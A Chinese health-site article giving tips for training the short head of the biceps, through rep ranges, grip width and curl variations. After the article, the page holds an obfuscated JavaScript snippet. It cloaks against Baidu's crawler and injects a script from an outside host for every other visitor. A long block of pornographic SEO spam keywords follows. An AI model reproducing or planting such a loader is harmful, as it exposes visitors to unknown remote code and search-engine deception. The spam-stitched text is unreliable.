當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

肱二頭肌短頭怎么練

2017-04-16 14:03:20  來源:360常識網(wǎng)   熱度:
導(dǎo)語:平時的健身是好多朋友特別喜歡的事情,肌肉的鍛煉可以讓我們有一個強壯的身體,另外也是一種男性魅力的展現(xiàn),不過在進行鍛煉的時候也要注意

平時的健身是好多朋友特別喜歡的事情,肌肉的鍛煉可以讓我們有一個強壯的身體,另外也是一種男性魅力的展現(xiàn),不過在進行鍛煉的時候也要注意正確的方法和技巧,特別是要有一個好的健身計劃,有好多朋友不知道肱二頭肌短頭怎么練?下面針對這樣的情況,我們來進行一下簡單的了解。

第一招同時采用高次數(shù)和低次數(shù)訓(xùn)練

很多人習(xí)慣于每次訓(xùn)練采用相同的次數(shù)范圍,即使既采用高次數(shù)又采用低次數(shù)訓(xùn)練,也通常分為輕重量訓(xùn)練日和大重量訓(xùn)練日,但是,為什么不把兩者安排在同一天呢?交替采用高次數(shù)(12~20次)和低次數(shù)(6~8次)是很好的同時刺激快速和慢速肌肉纖維,同時增加肌肉充血量和力量的方法。你可以以高次數(shù)的固定器械動作開始訓(xùn)練,這樣也可以為隨后的大重量訓(xùn)練充分熱身。

第二招充分照顧到內(nèi)側(cè)和外側(cè)頭

肱二頭肌有一個長頭(外側(cè)頭)和個短頭(內(nèi)側(cè)頭),這兩個頭通常一起工作,所以你很難完全孤立刺激內(nèi)側(cè)或外側(cè)頭,但是,如果你做窄握彎舉,或者扭轉(zhuǎn)手腕使食指高于其他手指,就主要刺激外側(cè)頭,相反,采用寬握距做彎舉,或者扭轉(zhuǎn)手腕使小手指至少達到和其他手指一樣高的程度,就主要刺激內(nèi)側(cè)頭。在收縮過程中盡量旋轉(zhuǎn)手腕,使小手指盡可能高。

第三招充分照顧到上部和下部

如同無法完全孤立刺激肱二頭肌的外側(cè)和內(nèi)側(cè)頭一樣,我們也無法單獨刺激它的上部和下部,但是,我們能通過側(cè)重彎舉動作的伸展或收縮階段來側(cè)重刺激肱二頭肌的上部或下部。斜托彎舉側(cè)重于伸展階段,而集中彎舉或高位拉力器彎舉則側(cè)重于收縮階段。

通過上述的介紹,我們知道了肱二頭肌短頭怎么練,這也是平時的時候需要注意的事情,有好多進行健身的朋友在健身的時候往往會忽視肱二頭肌短頭的鍛煉,這樣會讓我們手臂的力量美出現(xiàn)缺憾,一定要在平時的時候注意鍛煉。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品无码久久久久久尤物| 国产三级精品在线观看| 91精品啪在线观看国产| 日产精品卡一卡二卡三的概述| 国产精品vⅰdeoxxxx国产| 国产精品久久亚洲一区二区| 91亚洲国产成人久久精品网站| 国产亚洲精品看片在线观看| 国产精品情侣呻吟对白视频| 亚洲网红精品大秀在线观看| 国产亚洲精品无码成人| 老湿机一区午夜精品免费福利| 精品久久久久久无码不卡| 久久国产精品久久久久久久久久| 国产精品部在线观看| 尤物在线观看精品国产福利片| 日产精品一二三四区国产| 无码人妻丰满熟妇精品区| 国产亚洲精品不卡在线| 四虎精品亚洲一区二区三区| 99久久免费国产精品特黄| 91精品国产免费入口| 亚洲国产精品久久久天堂| 国产精品一区12p| 国产手机精品视频| 亚洲精品人成网线在线播放va| 久久久久久久久久久精品尤物| 国产精品久久午夜夜伦鲁鲁| 中文字字幕在线精品乱码app| 热99精品只有里视频最新| 国产精品高清全国免费观看| 久久99热这里只有精品66| 精品蜜臀久久久久99网站| 蜜桃麻豆WWW久久囤产精品| 国产精品区一区二区三在线播放| 国产香蕉国产精品偷在线| 国产精品午夜国产小视频| segui久久综合精品| 黄大色黄美女精品大毛片| 国产精品资源在线| 97精品伊人久久大香线蕉|